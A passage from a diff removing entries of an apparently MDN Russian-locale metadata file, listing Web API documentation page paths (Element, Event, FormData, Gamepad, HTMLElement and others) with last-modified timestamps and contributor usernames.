- "SadCat88", - "ekirpichyov", - "AjiTae", - "mms27", - "fscholz", - "khalid32", - "BaNru" - ] - }, - "Web/API/Element/insertAdjacentText": { - "modified": "2020-10-15T21:58:18.083Z", - "contributors": [ - "ekirpichyov", - "dedotmoroz" - ] - }, - "Web/API/Element/keydown_event": { - "modified": "2020-10-15T22:22:43.697Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Element/keyup_event": { - "modified": "2020-10-15T22:22:43.545Z", - "contributors": [ - "ekirpichyov" - ] - }, - "Web/API/Element/matches": { - "modified": "2019-03-23T22:51:31.844Z", - "contributors": [ - "Orlovis69", - "GoodLuck", - "In4in" - ] - }, - "Web/API/Element/mousedown_event": { - "modified": "2019-03-23T21:59:56.260Z", - "contributors": [ - "irenesmith", - "fscholz", - "arhad" - ] - }, - "Web/API/Element/mouseenter_event": { - "modified": "2020-10-15T22:31:09.868Z", - "contributors": [ - "alexandr-krylov" - ] - }, - "Web/API/Element/mouseleave_event": { - "modified": "2019-04-30T14:24:03.709Z", - "contributors": [ - "wbamberg", - "irenesmith", - "Corba", - "eof273", - "merelj" - ] - }, - "Web/API/Element/mouseup_event": { - "modified": "2020-10-15T22:29:01.651Z", - "contributors": [ - "StanEffy" - ] - }, - "Web/API/Element/outerHTML": { - "modified": "2019-08-21T13:06:11.010Z", - "contributors": [ - "l_MrBoom_l", - "volter9" - ] - }, - "Web/API/Element/querySelector": { - "modified": "2019-09-04T10:42:40.953Z", - "contributors": [ - "wowbios", - "AlexSnowLeo" - ] - }, - "Web/API/Element/querySelectorAll": { - "modified": "2020-10-15T21:34:12.073Z", - "contributors": [ - "YozhEzhi", - "rusekr", - "wbamberg", - "overnight", - "torbasow", - "romadoma" - ] - }, - "Web/API/Element/removeAttribute": { - "modified": "2019-03-23T22:15:25.427Z", - "contributors": [ - "bustEXZ" - ] - }, - "Web/API/Element/requestPointerLock": { - "modified": "2019-03-23T22:48:12.803Z", - "contributors": [ - "Luanre" - ] - }, - "Web/API/Element/scrollHeight": { - "modified": "2020-08-19T06:28:57.155Z", - "contributors": [ - "scrum", - "SphinxKnight", - "werreour", - "BychekRU", - "acost" - ] - }, - "Web/API/Element/scrollIntoView": { - "modified": "2020-10-15T21:37:50.318Z", - "contributors": [ - "ekirpichyov", - "the_ghost", - "Forshortmrmeth", - "gentoonofb" - ] - }, - "Web/API/Element/scrollLeft": { - "modified": "2019-03-18T20:59:11.522Z", - "contributors": [ - "SphinxKnight", - "BychekRU" - ] - }, - "Web/API/Element/scrollTo": { - "modified": "2020-10-15T22:21:28.669Z", - "contributors": [ - "SuperSurok" - ] - }, - "Web/API/Element/scrollTop": { - "modified": "2020-10-15T21:40:02.907Z", - "contributors": [ - "YozhEzhi", - "Devinora", - "Natalya_Surikova", - "BychekRU" - ] - }, - "Web/API/Element/setAttribute": { - "modified": "2020-09-12T18:32:00.501Z", - "contributors": [ - "andrewsmnv", - "BychekRU", - "kirill001" - ] - }, - "Web/API/Element/slot": { - "modified": "2020-10-15T22:18:20.103Z", - "contributors": [ - "Yialo", - "Akh-rman" - ] - }, - "Web/API/Element/tagName": { - "modified": "2019-03-23T22:51:31.324Z", - "contributors": [ - "Realetive", - "In4in" - ] - }, - "Web/API/Event": { - "modified": "2019-08-14T12:21:25.951Z", - "contributors": [ - "pk.prog", - "emil4", - "Sasha4ever" - ] - }, - "Web/API/Event/Comparison_of_Event_Targets": { - "modified": "2019-03-18T21:46:09.700Z", - "contributors": [ - "ademaro" - ] - }, - "Web/API/Event/Event": { - "modified": "2020-10-15T21:57:32.652Z", - "contributors": [ - "zardo96", - "fscholz", - "Lazy_Den", - "ilyacuc" - ] - }, - "Web/API/Event/bubbles": { - "modified": "2020-07-29T08:22:35.163Z", - "contributors": [ - "manInit", - "stranger777" - ] - }, - "Web/API/Event/cancelable": { - "modified": "2019-03-23T22:39:32.084Z", - "contributors": [ - "kaorub" - ] - }, - "Web/API/Event/currentTarget": { - "modified": "2020-06-22T14:59:24.050Z", - "contributors": [ - "rost-ed", - "kaorub" - ] - }, - "Web/API/Event/defaultPrevented": { - "modified": "2019-03-25T19:35:57.950Z", - "contributors": [ - "nakhodkiin", - "Ollemesh" - ] - }, - "Web/API/Event/eventPhase": { - "modified": "2019-03-23T22:57:51.272Z", - "contributors": [ - "AlexOldest" - ] - }, - "Web/API/Event/initEvent": { - "modified": "2020-10-15T21:54:19.920Z", - "contributors": [ - "YozhEzhi", - "Bargamut", - "Dimbuch" - ] - }, - "Web/API/Event/isTrusted": { - "modified": "2019-03-23T22:23:19.953Z", - "contributors": [ - "goodhousekeeper" - ] - }, - "Web/API/Event/preventDefault": { - "modified": "2020-04-06T17:41:45.254Z", - "contributors": [ - "optimden", - "ellizii", - "newbornfrontender", - "letthecode", - "Terbiy", - "__strelkov", - "icw82" - ] - }, - "Web/API/Event/srcElement": { - "modified": "2019-03-23T22:29:59.457Z", - "contributors": [ - "Fell-x27" - ] - }, - "Web/API/Event/stopImmediatePropagation": { - "modified": "2019-03-23T22:54:08.539Z", - "contributors": [ - "qertis" - ] - }, - "Web/API/Event/stopPropagation": { - "modified": "2020-10-15T21:36:37.495Z", - "contributors": [ - "torbasow", - "ekirpichyov", - "hlomzik", - "Dmatafonov" - ] - }, - "Web/API/Event/target": { - "modified": "2020-07-29T08:06:27.363Z", - "contributors": [ - "manInit", - "ellizii", - "oldmuka", - "smollalex", - "f0rmat1k", - "icw82", - "Leo240" - ] - }, - "Web/API/Event/timeStamp": { - "modified": "2020-10-15T22:09:29.628Z", - "contributors": [ - "VaselisaS" - ] - }, - "Web/API/Event/type": { - "modified": "2019-05-13T01:14:41.091Z", - "contributors": [ - "ahtohbi4" - ] - }, - "Web/API/EventListener": { - "modified": "2020-08-18T17:11:27.001Z", - "contributors": [ - "proshka", - "Bargamut", - "m-kon", - "daydarkln", - "insafski", - "einperegrin" - ] - }, - "Web/API/EventSource": { - "modified": "2020-10-15T21:38:17.102Z", - "contributors": [ - "YozhEzhi", - "bakugod", - "wbamberg", - "iketari", - "madzhuga", - "hinduCoder" - ] - }, - "Web/API/EventTarget": { - "modified": "2019-07-13T07:57:24.023Z", - "contributors": [ - "Dzvonek", - "leann-fraoigh", - "paulvoloschuk", - "vvscode", - "fscholz" - ] - }, - "Web/API/EventTarget/EventTarget": { - "modified": "2020-10-15T22:04:45.798Z", - "contributors": [ - "Sparks" - ] - }, - "Web/API/EventTarget/addEventListener": { - "modified": "2020-10-15T21:32:58.525Z", - "contributors": [ - "isakura313", - "SphinxKnight", - "in02emt5ev", - "VadimShchukin", - "YozhEzhi", - "ConstantineZz", - "biggieman", - "Roman-Kosov", - "vivcogit", - "inomn", - "WispProxy", - "livalex", - "FlashbangSW", - "hom3chuk", - "DeDuck333", - "DavidWebb", - "mxxn", - "Logual", - "vgsdesign", - "SergeyGuns", - "ggcstop", - "zzzunyazz", - "Tankerxyz", - "torbasow", - "Al1", - "dood", - "fscholz", - "AlexChuev" - ] - }, - "Web/API/EventTarget/attachEvent": { - "modified": "2019-03-23T22:07:44.594Z", - "contributors": [ - "akrom123", - "paulvoloschuk" - ] - }, - "Web/API/EventTarget/detachEvent": { - "modified": "2019-03-23T22:07:41.302Z", - "contributors": [ - "paulvoloschuk" - ] - }, - "Web/API/EventTarget/dispatchEvent": { - "modified": "2020-10-15T21:20:41.807Z", - "contributors": [ - "YozhEzhi", - "vetraz", - "bagau", - "zhitkovkostya", - "Taimayr", - "DzmVasileusky", - "FeelUs", - "fscholz", - "soumya", - "teoli", - "anton1500m" - ] - }, - "Web/API/EventTarget/removeEventListener": { - "modified": "2020-10-15T21:34:32.581Z", - "contributors": [ - "YozhEzhi", - "ConstantineZz", - "12kb", - "Chudesnov", - "S-le", - "antonsubbotin", - "Pasquill", - "YuliaTsareva", - "vitya-ne", - "ademaro", - "starforce" - ] - }, - "Web/API/ExtendableEvent": { - "modified": "2020-10-15T22:31:37.347Z", - "contributors": [ - "Wind1808" - ] - }, - "Web/API/ExtendableEvent/waitUntil": { - "modified": "2020-10-15T22:31:37.681Z", - "contributors": [ - "AlexanderTserkovniy" - ] - }, - "Web/API/FetchEvent": { - "modified": "2020-10-15T22:26:01.375Z", - "contributors": [ - "sh7dm" - ] - }, - "Web/API/Fetch_API": { - "modified": "2020-12-03T14:12:40.372Z", - "contributors": [ - "lidahp", - "torbasow", - "DASenkiv", - "hcodes", - "bershanskiy", - "qqwweeaassdd", - "WispProxy", - "aleshkanet", - "marichka4345", - "Aleynikov_Boris", - "Miha-x64", - "karatheodory", - "RumyantsevMichael", - "sashashakun", - "visortelle", - "savelevcorr" - ] - }, - "Web/API/Fetch_API/Cross-global_fetch_usage": { - "modified": "2019-03-18T21:00:16.677Z", - "contributors": [ - "Akh-rman", - "qqwweeaassdd" - ] - }, - "Web/API/Fetch_API/Using_Fetch": { - "modified": "2020-03-12T12:40:18.070Z", - "contributors": [ - "morgunov.vitaly", - "Chukhryaev", - "vetraz", - "Zulcom", - "Akh-rman", - "ncux199rus", - "zhvirblis", - "Neiromaster", - "thepocp", - "moskitos80", - "InoY", - "Bargamut", - "Scion", - "bad4iz" - ] - }, - "Web/API/File": { - "modified": "2020-10-15T21:44:17.672Z", - "contributors": [ - "YozhEzhi", - "tjbulick", - "alexx-grand", - "nikitaermishin", - "WispProxy", - "S-le", - "Helen4gu", - "MuradAz" - ] - }, - "Web/API/File/Using_files_from_web_applications": { - "modified": "2020-11-17T16:11:16.608Z", - "contributors": [ - "Zarin417", - "grebenyukov", - "Sc4ramouche", - "glowlh", - "vovanx", - "jeetiss", - "pottsnoc", - "chrisdavidmills", - "Coshrurnina", - "13af", - "Sub-hero", - "L-st", - "nirta", - "Lambrusco.pro" - ] - }, - "Web/API/File/fileName": { - "modified": "2019-03-23T22:09:17.877Z", - "contributors": [ - "Ferguse" - ] - }, - "Web/API/File/getAsDataURL": { - "modified": "2019-03-23T22:18:17.148Z", - "contributors": [ - "tregubovand" - ] - }, - "Web/API/File/name": { - "modified": "2019-03-23T22:20:17.496Z", - "contributors": [ - "Aleh_Lipka" - ] - }, - "Web/API/FileList": { - "modified": "2019-03-23T22:21:23.130Z", - "contributors": [ - "ahtohbi4", - "stepanmas" - ] - }, - "Web/API/FileReader": { - "modified": "2020-10-15T21:36:03.994Z", - "contributors": [ - "fuggy", - "Excent163", - "YozhEzhi", - "3lvcz" - ] - }, - "Web/API/FileReader/FileReader": { - "modified": "2020-05-07T08:20:14.757Z", - "contributors": [ - "Excent163" - ] - }, - "Web/API/FileReader/error": { - "modified": "2020-10-15T22:09:49.214Z", - "contributors": [ - "A-Mikhail" - ] - }, - "Web/API/FileReader/onabort": { - "modified": "2020-05-07T08:21:21.125Z", - "contributors": [ - "Excent163", - "SpaceMotion" - ] - }, - "Web/API/FileReader/readAsArrayBuffer": { - "modified": "2019-03-23T22:44:45.661Z", - "contributors": [ - "Aleh_Lipka", - "mazanax" - ] - }, - "Web/API/FileReader/readAsBinaryString": { - "modified": "2019-03-23T22:26:15.257Z", - "contributors": [ - "teoli", - "a-chepugov" - ] - }, - "Web/API/FileReader/readAsDataURL": { - "modified": "2019-03-23T22:45:57.000Z", - "contributors": [ - "teoli", - "HooFoo" - ] - }, - "Web/API/FileReader/readAsText": { - "modified": "2020-10-15T22:19:35.805Z", - "contributors": [ - "emision" - ] - }, - "Web/API/File_and_Directory_Entries_API": { - "modified": "2020-10-15T21:56:47.477Z", - "contributors": [ - "SphinxKnight", - "svetley1", - "tocretpa" - ] - }, - "Web/API/File_and_Directory_Entries_API/Введение": { - "modified": "2019-03-23T22:06:14.603Z", - "contributors": [ - "egorshulga" - ] - }, - "Web/API/FontFace": { - "modified": "2020-10-15T22:17:28.932Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/FormData": { - "modified": "2020-10-15T21:34:07.588Z", - "contributors": [ - "Excent163", - "art-gur", - "s1lver", - "VeeShort", - "Sergey.Stolnikov", - "torbasow", - "blade091" - ] - }, - "Web/API/FormData/FormData": { - "modified": "2020-10-15T21:39:13.511Z", - "contributors": [ - "YozhEzhi", - "In4in", - "antage" - ] - }, - "Web/API/FormData/Using_FormData_Objects": { - "modified": "2020-05-07T13:53:48.011Z", - "contributors": [ - "crystalbit", - "Excent163", - "egsk", - "MariaEvstropova" - ] - }, - "Web/API/FormData/append": { - "modified": "2019-03-23T22:41:37.934Z", - "contributors": [ - "DenisLukyanov", - "Bargamut", - "sgrogov", - "Zimson", - "x1unix" - ] - }, - "Web/API/FormData/delete": { - "modified": "2019-03-23T22:38:10.892Z", - "contributors": [ - "IuriiP" - ] - }, - "Web/API/FormData/entries": { - "modified": "2020-09-18T11:52:47.370Z", - "contributors": [ - "matiasrustagte", - "Sgen" - ] - }, - "Web/API/FormData/get": { - "modified": "2020-10-15T22:07:12.622Z", - "contributors": [ - "armd-pro" - ] - }, - "Web/API/FormData/getAll": { - "modified": "2020-07-21T15:21:24.072Z", - "contributors": [ - "matiasrustagte", - "sugresmax", - "Pescao", - "ciricc" - ] - }, - "Web/API/FormData/has": { - "modified": "2020-10-15T22:23:33.551Z", - "contributors": [ - "DaVASrK" - ] - }, - "Web/API/FormData/keys": { - "modified": "2020-10-15T22:23:32.962Z", - "contributors": [ - "DaVASrK" - ] - }, - "Web/API/FormData/set": { - "modified": "2020-10-15T22:00:13.801Z", - "contributors": [ - "YozhEzhi", - "Gabesdir" - ] - }, - "Web/API/FormData/values": { - "modified": "2020-10-15T22:23:34.570Z", - "contributors": [ - "DaVASrK" - ] - }, - "Web/API/Gamepad": { - "modified": "2020-10-15T22:03:31.032Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/Gamepad/axes": { - "modified": "2020-11-06T11:42:29.078Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/Gamepad/buttons": { - "modified": "2020-11-06T11:36:46.322Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/Gamepad/connected": { - "modified": "2020-10-15T22:03:30.457Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/Gamepad/displayId": { - "modified": "2020-10-15T22:27:46.387Z", - "contributors": [ - "DmNsk2016" - ] - }, - "Web/API/Gamepad/id": { - "modified": "2020-10-15T22:03:38.097Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/Gamepad/index": { - "modified": "2020-10-15T22:03:40.393Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/Gamepad/mapping": { - "modified": "2020-11-06T11:25:46.307Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/Gamepad/timestamp": { - "modified": "2020-10-15T22:03:45.586Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/GamepadButton": { - "modified": "2020-11-06T12:27:39.117Z", - "contributors": [ - "SphinxKnight", - "venanen" - ] - }, - "Web/API/GamepadButton/pressed": { - "modified": "2020-11-06T11:07:59.787Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/GamepadButton/value": { - "modified": "2020-11-06T11:03:34.188Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/GamepadEvent": { - "modified": "2020-10-15T22:03:21.626Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/GamepadEvent/gamepad": { - "modified": "2020-10-15T22:03:28.071Z", - "contributors": [ - "eof273" - ] - }, - "Web/API/Gamepad_API": { - "modified": "2020-10-15T22:29:30.038Z", - "contributors": [ - "SphinxKnight", - "podocenov" - ] - }, - "Web/API/Gamepad_API/Using_the_Gamepad_API": { - "modified": "2020-11-25T06:19:46.528Z", - "contributors": [ - "venanen" - ] - }, - "Web/API/Geolocation": { - "modified": "2020-10-15T21:28:34.368Z", - "contributors": [ - "art-gur", - "talgautb", - "teoli" - ] - }, - "Web/API/Geolocation/Using_geolocation": { - "modified": "2020-10-15T21:28:32.152Z", - "contributors": [ - "art-gur", - "talgautb", - "IliaBrz", - "KazeZlat", - "MariaEvstropova", - "Anna_Leonteva", - "kevich", - "Aleksej", - "Almatbek", - "Zaw00" - ] - }, - "Web/API/Geolocation/Using_geolocation/Using_the_Geolocation_API": { - "modified": "2020-02-14T06:11:59.119Z", - "contributors": [ - "art-gur" - ] - }, - "Web/API/Geolocation/getCurrentPosition": { - "modified": "2020-10-15T22:01:54.014Z", - "contributors": [ - "ekirpichyov", - "posadskii766", - "bagau" - ] - }, - "Web/API/GeolocationCoordinates": { - "modified": "2020-10-15T22:22:47.472Z", - "contributors": [ - "ivan-chashkin", - "chrisdavidmills", - "ekirpichyov" - ] - }, - "Web/API/GeolocationPosition": { - "modified": "2020-10-15T22:31:29.828Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/GeolocationPositionError": { - "modified": "2020-10-15T22:16:52.497Z", - "contributors": [ - "chrisdavidmills", - "ramamedov89" - ] - }, - "Web/API/GlobalEventHandlers": { - "modified": "2020-10-15T21:33:04.255Z", - "contributors": [ - "YozhEzhi", - "fscholz" - ] - }, - "Web/API/GlobalEventHandlers/onabort": { - "modified": "2019-03-23T22:08:50.066Z", - "contributors": [ - "12kb", - "FlowerDeLuce" - ] - }, - "Web/API/GlobalEventHandlers/onanimationcancel": { - "modified": "2019-03-23T22:08:48.963Z", - "contributors": [ - "FlowerDeLuce" - ] - }, - "Web/API/GlobalEventHandlers/onanimationend": { - "modified": "2019-03-23T22:08:47.464Z", - "contributors": [ - "arturparkhisenko", - "FlowerDeLuce" - ] - }, - "Web/API/GlobalEventHandlers/onblur": { - "modified": "2020-10-15T22:13:59.597Z", - "contributors": [ - "AliaksandrZahorski" - ] - }, - "Web/API/GlobalEventHandlers/onchange": { - "modified": "2020-10-15T22:08:30.408Z", - "contributors": [ - "Enroller" - ] - }, - "Web/API/GlobalEventHandlers/onclick": { - "modified": "2020-10-15T21:52:46.086Z", - "contributors": [ - "YozhEzhi" - ] - }, - "Web/API/GlobalEventHandlers/onclose": { - "modified": "2019-03-23T22:16:16.756Z", - "contributors": [ - "katsanva", - "sergey-jr" - ] - }, - "Web/API/GlobalEventHandlers/oncontextmenu": { - "modified": "2020-10-15T22:08:31.397Z", - "contributors": [ - "Enroller" - ] - }, - "Web/API/GlobalEventHandlers/ondragstart": { - "modified": "2020-10-15T22:26:58.289Z", - "contributors": [ - "opereverzeva" - ] - }, - "Web/API/GlobalEventHandlers/onerror": { - "modified": "2019-03-23T22:57:01.164Z", - "contributors": [ - "wbamberg", - "roman-dudin", - "xercool" - ] - }, - "Web/API/GlobalEventHandlers/onfocus": { - "modified": "2019-03-23T22:08:49.378Z", - "contributors": [ - "goodleby", - "FlowerDeLuce" - ] - }, - "Web/API/GlobalEventHandlers/oninput": { - "modified": "2019-03-18T21:31:39.381Z", - "contributors": [ - "dieuromodin" - ] - }, - "Web/API/GlobalEventHandlers/onkeydown": { - "modified": "2020-10-30T20:39:03.733Z", - "contributors": [ - "almaceleste", - "ekirpichyov", - "GraceAredel" - ] - }, - "Web/API/GlobalEventHandlers/onkeypress": { - "modified": "2019-03-23T23:33:53.119Z", - "contributors": [ - "ivanson", - "fscholz", - "jsx", - "kup" - ] - }, - "Web/API/GlobalEventHandlers/onload": { - "modified": "2019-03-23T22:57:03.709Z", - "contributors": [ - "xercool" - ] - }, - "Web/API/GlobalEventHandlers/onloadend": { - "modified": "2019-03-18T21:41:57.825Z", - "contributors": [ - "dedotmoroz" - ] - }, - "Web/API/GlobalEventHandlers/onmousedown": { - "modified": "2019-03-18T21:45:11.582Z", - "contributors": [ - "borseno" - ] - }, - "Web/API/GlobalEventHandlers/onmouseup": { - "modified": "2019-03-18T21:31:55.907Z", - "contributors": [ - "dieuromodin" - ] - }, - "Web/API/GlobalEventHandlers/onscroll": { - "modified": "2019-03-23T22:26:43.386Z", - "contributors": [ - "Drugak" - ] - }, - "Web/API/GlobalEventHandlers/onselect": { - "modified": "2019-03-23T22:29:41.771Z", - "contributors": [ - "Tanya_Agisheva" - ] - }, - "Web/API/GlobalEventHandlers/onsubmit": { - "modified": "2019-03-23T22:27:43.421Z", - "contributors": [ - "DmitryK" - ] - }, - "Web/API/Gyroscope": { - "modified": "2020-10-15T22:18:16.560Z", - "contributors": [ - "Lavrusha" - ] - }, - "Web/API/HTMLAnchorElement": { - "modified": "2019-09-06T13:59:29.545Z", - "contributors": [ - "trman", - "torbasow", - "AlexAlex" - ] - }, - "Web/API/HTMLAreaElement": { - "modified": "2019-03-23T22:43:39.836Z", - "contributors": [ - "whois42", - "AlexAlex" - ] - }, - "Web/API/HTMLAudioElement": { - "modified": "2019-03-23T22:48:45.396Z", - "contributors": [ - "drrainlab", - "PaulineNemchak", - "AlexeyVasilievE", - "yanislavb" - ] - }, - "Web/API/HTMLAudioElement/Audio()": { - "modified": "2020-10-15T22:31:15.516Z", - "contributors": [ - "justimchief" - ] - }, - "Web/API/HTMLBRElement": { - "modified": "2019-03-23T22:43:46.238Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLBaseElement": { - "modified": "2019-03-23T22:43:45.796Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLBaseFontElement": { - "modified": "2019-03-23T22:43:41.613Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLBodyElement": { - "modified": "2019-03-18T21:15:56.882Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLButtonElement": { - "modified": "2019-09-06T15:11:50.098Z", - "contributors": [ - "trman", - "citizen55", - "agorshkov23", - "AlexAlex" - ] - }, - "Web/API/HTMLCanvasElement": { - "modified": "2019-03-23T22:24:35.681Z", - "contributors": [ - "Garloy", - "PiN", - "slimsag" - ] - }, - "Web/API/HTMLCanvasElement/captureStream": { - "modified": "2020-07-25T12:31:59.787Z", - "contributors": [ - "belukha", - "curdwithraisins" - ] - }, - "Web/API/HTMLCanvasElement/getContext": { - "modified": "2019-03-23T22:24:35.418Z", - "contributors": [ - "ProgMiner", - "Peteichuk", - "Faik-man" - ] - }, - "Web/API/HTMLCanvasElement/toBlob": { - "modified": "2019-09-15T16:39:58.201Z", - "contributors": [ - "dmalapsh", - "DomenO", - "Bargamut" - ] - }, - "Web/API/HTMLCollection": { - "modified": "2019-03-23T22:41:14.228Z", - "contributors": [ - "arhad" - ] - }, - "Web/API/HTMLCollection/item": { - "modified": "2019-03-23T22:28:29.128Z", - "contributors": [ - "DrozdMargo", - "timur-gilauri" - ] - }, - "Web/API/HTMLContentElement": { - "modified": "2020-10-15T22:07:13.411Z", - "contributors": [ - "AnatoliyVolkov" - ] - }, - "Web/API/HTMLDataElement": { - "modified": "2019-03-23T22:43:36.990Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLDialogElement": { - "modified": "2020-10-15T22:14:22.696Z", - "contributors": [ - "andSKLV" - ] - }, - "Web/API/HTMLDialogElement/open": { - "modified": "2020-10-15T22:14:23.426Z", - "contributors": [ - "andSKLV" - ] - }, - "Web/API/HTMLDivElement": { - "modified": "2019-09-07T06:54:20.220Z", - "contributors": [ - "ellizii", - "systemcss" - ] - }, - "Web/API/HTMLDocument": { - "modified": "2019-03-23T22:12:00.059Z", - "contributors": [ - "ValeriiBoiko", - "AlexeyVasilievE" - ] - }, - "Web/API/HTMLElement": { - "modified": "2019-09-07T06:58:08.927Z", - "contributors": [ - "ellizii", - "Xp-Apache", - "ivanson", - "KiraAndMaxim", - "fscholz", - "jsx", - "eicto" - ] - }, - "Web/API/HTMLElement/click": { - "modified": "2019-03-18T21:42:49.602Z", - "contributors": [ - "ArturAntonov" - ] - }, - "Web/API/HTMLElement/contentEditable": { - "modified": "2019-03-23T22:52:28.875Z", - "contributors": [ - "amurchick" - ] - }, - "Web/API/HTMLElement/dataset": { - "modified": "2020-10-15T21:56:06.529Z", - "contributors": [ - "YozhEzhi", - "masterbox06", - "BitChap", - "motan", - "iamvector", - "hunty", - "almostbergman", - "FlowerDeLuce" - ] - }, - "Web/API/HTMLElement/hidden": { - "modified": "2019-05-14T07:54:36.993Z", - "contributors": [ - "VladimirValov", - "vlad-meskalin" - ] - }, - "Web/API/HTMLElement/nonce": { - "modified": "2020-10-15T22:22:30.878Z", - "contributors": [ - "ellizii" - ] - }, - "Web/API/HTMLElement/offsetHeight": { - "modified": "2020-10-15T21:43:04.993Z", - "contributors": [ - "SphinxKnight", - "vittorio-tortugo" - ] - }, - "Web/API/HTMLElement/offsetLeft": { - "modified": "2020-10-15T22:31:09.820Z", - "contributors": [ - "Parkh0menk0" - ] - }, - "Web/API/HTMLElement/offsetTop": { - "modified": "2020-10-15T21:45:48.531Z", - "contributors": [ - "grundiss", - "SphinxKnight", - "mim3009" - ] - }, - "Web/API/HTMLElement/offsetWidth": { - "modified": "2020-10-15T21:56:04.960Z", - "contributors": [ - "SphinxKnight", - "xilaraux", - "kulaeff" - ] - }, - "Web/API/HTMLElement/outerText": { - "modified": "2020-10-15T22:28:18.137Z", - "contributors": [ - "rookhive" - ] - }, - "Web/API/HTMLElement/pointerover_event": { - "modified": "2020-10-15T22:17:20.391Z", - "contributors": [ - "vkrbt" - ] - }, - "Web/API/HTMLElement/style": { - "modified": "2020-10-15T21:35:49.277Z", - "contributors": [ - "Fantomhaiv", - "elidare", - "maxpolski", - "nkoptsov", - "surrsoft" - ] - }, - "Web/API/HTMLElement/tabIndex": { - "modified": "2019-03-18T21:11:41.012Z", - "contributors": [ - "DianaGalter", - "Tanya_Agisheva" - ] - }, - "Web/API/HTMLFormElement": { - "modified": "2019-03-23T22:59:13.079Z", - "contributors": [ - "teoli" - ] - }, - "Web/API/HTMLFormElement/elements": { - "modified": "2020-10-15T22:30:54.533Z", - "contributors": [ - "vltinica" - ] - }, - "Web/API/HTMLFormElement/length": { - "modified": "2019-03-18T21:30:52.160Z", - "contributors": [ - "zzzunyazz" - ] - }, - "Web/API/HTMLFormElement/reportValidity": { - "modified": "2019-03-23T22:59:14.235Z", - "contributors": [ - "IncSW" - ] - }, - "Web/API/HTMLFormElement/reset": { - "modified": "2019-03-23T22:59:03.432Z", - "contributors": [ - "IncSW" - ] - }, - "Web/API/HTMLFormElement/submit": { - "modified": "2020-10-15T22:28:40.979Z", - "contributors": [ - "RenJeka" - ] - }, - "Web/API/HTMLHeadElement": { - "modified": "2019-03-23T22:43:29.011Z", - "contributors": [ - "AlexAlex" - ] - }, - "Web/API/HTMLHeadingElement": { - "modified": "2020-10-15T22:19:50.628Z", - "contributors": [ - "Echzio" - ] - }, - "Web/API/HTMLHyperlinkElementUtils": { - "modified": "2019-03-23T22:27:08.817Z", - "contributors": [ - "teoli" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/hash": { - "modified": "2019-03-23T22:27:07.342Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/host": { - "modified": "2019-03-23T22:27:14.772Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/hostname": { - "modified": "2019-03-23T22:27:14.609Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/href": { - "modified": "2019-03-23T22:27:04.617Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/origin": { - "modified": "2019-03-23T22:27:01.715Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/password": { - "modified": "2019-03-23T22:26:59.020Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/pathname": { - "modified": "2019-03-23T22:27:12.811Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/port": { - "modified": "2019-03-23T22:27:11.593Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/protocol": { - "modified": "2019-03-23T22:27:14.324Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/search": { - "modified": "2019-03-23T22:27:12.956Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/toString": { - "modified": "2019-03-23T22:26:54.970Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLHyperlinkElementUtils/username": { - "modified": "2019-03-23T22:27:13.479Z", - "contributors": [ - "tim-zh" - ] - }, - "Web/API/HTMLImageElement": { - "modified": "2019-03-23T23:30:08.953Z", - "contributors": [ - "warsan", - "jeetiss", - "fil7", - "khalid32", - "Norville", - "eicto", - "SEREGA_CHEREP" - ] - }, - "Web/API/HTMLImageElement/Image": { - "modified": "2019-11-06T12:42:11.216Z", - "contributors": [ - "SpawnLeon", - "fscholz", - "Norville" - ] - }, - "Web/API/HTMLImageElement/decoding": { - "modified": "2020-10-15T22:18:39.787Z", - "contributors": [ - "sborenko" - ] - }, - "Web/API/HTMLImageElement/srcset": { - "modified": "2020-10-15T22:25:07.429Z", - "contributors": [ - "ckomop0x" - ] - }, - "Web/API/HTMLInputElement": { - "modified": "2019-03-23T22:42:51.763Z", - "contributors": [ - "m-kon", - "Capfsb" - ] - }, - "Web/API/HTMLInputElement/invalid_event": { - "modified": "2019-04-25T11:50:40.249Z", - "contributors": [ - "estelle", - "NooNoo1337", - "fscholz" - ] - }, - "Web/API/HTMLInputElement/setSelectionRange": { - "modified": "2019-03-23T22:29:40.276Z", - "contributors": [ - "mneofit" - ] - }, - "Web/API/HTMLLinkElement": { - "modified": "2020-10-15T22:29:33.936Z", - "contributors": [ - "Excent163" - ] - }, - "Web/API/HTMLMediaElement": { - "modified": "2020-10-15T22:19:05.479Z", - "contributors": [ - "maddev", - "ekirpichyov", - "axis", - "mfuji09" - ] - }, - "Web/API/HTMLMediaElement/abort_event": { - "modified": "2020-10-15T22:33:51.002Z", - "contributors": [ - "b0rique" - ] - }, - "Web/API/HTMLMediaElement/duration": { - "modified": "2020-10-15T22:18:49.586Z", - "contributors": [ - 